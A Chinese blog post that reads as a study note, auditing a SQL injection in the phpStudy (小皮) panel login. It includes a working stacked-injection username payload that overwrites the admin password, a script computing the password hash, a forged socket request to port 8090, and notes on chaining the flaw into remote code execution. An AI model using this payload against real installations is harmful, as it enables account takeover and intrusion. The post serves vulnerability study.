首页 > 其他分享 >小皮1-click漏洞的代码审计学习笔记

小皮1-click漏洞的代码审计学习笔记

时间:2023-04-04 16:25:31浏览次数:60  
标签:username 小皮 PASSWORD 登录 admin 漏洞 ADMINS 123456 click

漏洞简介

漏洞起源于前段时间比较火的小皮 1-click 漏洞,用户名登录处缺少过滤,导致可以直接构造恶意 payload 实现存储型 XSS ,结合小皮本身所具有的计划任务,XSS + CSRF 实现了 RCE 。 因为用户名登录处缺少过滤,所以可以尝试 SQL 漏洞。

环境搭建

windows 上实际操作了一下,不方便进行分析

于是利用 linux 来进行复现分析,利用官网提供的方法执行,之后再回滚修改代码

wget -O install.sh https://download.xp.cn/install.sh && sudo bash install.sh

修改代码 web/service/app/account.php​ 中登录的部分

if($type=='login'){
    $username = post('username');
    $pwd = post('password');
    $verifycode = post('verifycode');
    $res = Account::login($username,$pwd,$verifycode);
    xpexit(json_encode($res));
}

  ​image

打开代码 /usr/local/phpstudy/web/service/app/account.php​ 修改代码

  ​image

漏洞复现

windows

在用户登录处构造 payload 其中 PASSWORD 的值是经过五次 md5 加密后的结果

import hashlib
​
str = "123456"
for i in range(0,5):
    str = hashlib.md5(str.encode()).hexdigest()
print(str)

  ‍

admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--

  ​image

虽然提示用户名密码错误,但是密码已经被更新,再次利用 admin/123456 成功登录

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS) ‍

Linux

在用户登录处构造 payload

admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--

  ​image

错误类型并不相同,但也成功的将密码修改

漏洞分析

image

查看开放端口信息 ,发现有两个端口与 phpstudy 的进程相关 9080、8090

9080 对应的是 web 端的信息 8090 对应的是二进制程序

  ​image

外部访问不到 8090 端口 只能再内部构造数据进行通信

  ​image

项目的代码在 /usr/local/phpstudy/web

web/service/app/account.php

  ​image

web/service/app/model/Account.php

  ​image

通过 POST 获取到的数据,利用 Socket 将数据发送到 8090 进行处理

  ​image

我们可以根据代码逻辑伪造 socket 请求

{"command":"login","data":{"username":"admin","pwd":"123456"}}^^^

  ​image

利用 strace 可以监控进程 strace -s4096 -tt -f -ewrite -p 49433​ 监控 phpstudy 的进程,发送错误的payload

{"command":"login","data":{"username":"admin'","pwd":"123456"}}^^^

  ​image

获取到登录时对应的 SQL 语句

SELECT ID FROM ADMINS WHERE ALIAS = 'admin'' AND PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' AND STATUS = 0

根据 SQL 语句可以构造恶意语句,构造恶意语句,执行错误的 SQL 语句后,程序会发生崩溃,所以无法利用万能密码登录。

这里我们可以思考利用堆叠注入,执行多个 SQL 语句,修改 admin 用户密码。我们构造这样的用户名

admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--

拼接到 SQL 语句中就为

SELECT ID FROM ADMINS WHERE ALIAS = 'admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--' AND PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' AND STATUS = 0

最终执行的 SQL 语句为

SELECT ID FROM ADMINS WHERE ALIAS = 'admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';

将用户 admin 的 密码修改为了 123456

再次登录时就可以使用 admin/123456 成功登录,再结合之前的 1-click RCE 中利用 phpstudy 后台计划任务执行,最终实现未授权 RCE 。

第一次登录时 使用 admin/123456 登录失败,提示用户名或者密码错误

  ​image

输入构造的 payload

      image

再次利用 admin/123456 登录成功,用户的密码已经被修改

  ​image

  ​image

更多靶场实验练习、网安学习资料,请点击这里>>

 

标签:username,小皮,PASSWORD,登录,admin,漏洞,ADMINS,123456,click
From: https://www.cnblogs.com/hetianlab/p/17286790.html

相关文章

  • 堆块chunk介绍及unlink漏洞利用原理
    堆块chunk介绍及unlink漏洞利用原理chunk结构当进程动态分配内存时,系统会在堆中创建一个chunk(堆块)。chunk包含chunk头和chunk体两部分chunk头中有两个字段:prev_size:前一个chunk的size,前指的之前分配的内存,也就是低地址相邻的chunksize:当前chunk的size,size字段的低3位A,M,P不......
  • golang CVE-2016-2183漏洞,https需要添加tls设置加密算法CipherSuites白名单,将弱加密算
    golangCVE-2016-2183漏洞,https需要添加tls设置加密算法白名单,将弱加密算法DES和3DES去掉。服务端样例代码packagemainimport("crypto/tls""fmt""net/http")funchandler(writerhttp.ResponseWriter,request*http.Request){fmt.Fprintf(wri......
  • 文件包含漏洞
    文件包含渗透1.项目实验环境2.原理及危害文件包含漏洞:即FileInclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require__once())利用ur1去动态包含文件,此时如果没有对文件来......
  • Select all in address bar of firefox (Ubuntu, Linux Mint) with a single click
    Toomanythingstomodifyafterinstallingubuntuorlinuxmint.OneoftheannoyingthingisClickingtheaddressbaronFirefox(providedwithUbuntu,linuxmint)doesn’tselectthewholetextinit.Itsaverysmallproblem.Butitssoannoyingthat,t......
  • 文件上传漏洞
    文件上传漏洞原理1、文件上传(FileUpload)是大部分web应用都具备的功能,例如用户上传附件、修改头像、分享图片/视频等2、正常的文件一般是文档、图片、视频等,Web应用收集之后放入后台存储,需要的时候再调用出来返回3、如果恶意文件如PHP、ASP等执行文件绕过Web应用,并顺......
  • js mouse drag or click
    onmousedown鼠标按下触发事件onmousemove鼠标按下时持续触发事件onmouseup鼠标抬起触发事件click点击事件=mouseup+mousedowndrag拖拽=mousedown+mousemove+mouseup//之后我们可以根据点击的位置或者时间来判定是点击还是拖拽......
  • clickhouse
    目录第一章clickhouse概述1.1clickhouse的定义1.2clickhouse的来源1.3clickhouse应用领域1.4clickhouse优点1.5clickhouse缺点第二章单机版安装2.1rpm安装(也可以在线yum安装)2.2配置2.3服务启动2.4客户端连接第三章集群安装3.1安装3.2配置3.3服务启动3.4客户端连......
  • clickhouse
    ck是一个列式存储的数据库,其针对的场景是OLAP。OLAP的特点是:数据不经常写,即便写也是批量写。不像OLTP是一条一条写大多数是读请求查询并发较少,不适合放置先生高并发业务场景使用 ,CK本身建议最大一秒100个并发查询。不要求事务click的优点#为了增强压缩比例,ck存储的一列......
  • 点击事件on和onclick 两者之间的区别(很重要)
    点击事件on和onclick两者之间的区别左又于2018-04-2009:20:36发布10897收藏5分类专栏:js版权js专栏收录该内容45篇文章0订阅订阅专栏点击事件on和onclick两者之间的区别(很重要)第1种事件$('.XX').click('.xxx',function(){alert('xxx')}); 第2种事件$('.......
  • 04_靶机Kioptrix1.2:CMS漏洞利用,使用ht编辑器修改sudoers文件提权,mysql查询
    思路:发现主机后进行目录扫描,发现登录口标注了CMS的版本,查看该类型CMS有没有漏洞,针对漏洞去github搜索脚本,拿到脚本后运行得到靶机的初级Shell,根据靶机内的文件内容指示使用ht编辑器,利用编辑器去修改用户的权限然后提权,拿到root权限结束基操代码不再粘贴首先进行目标靶机地址的......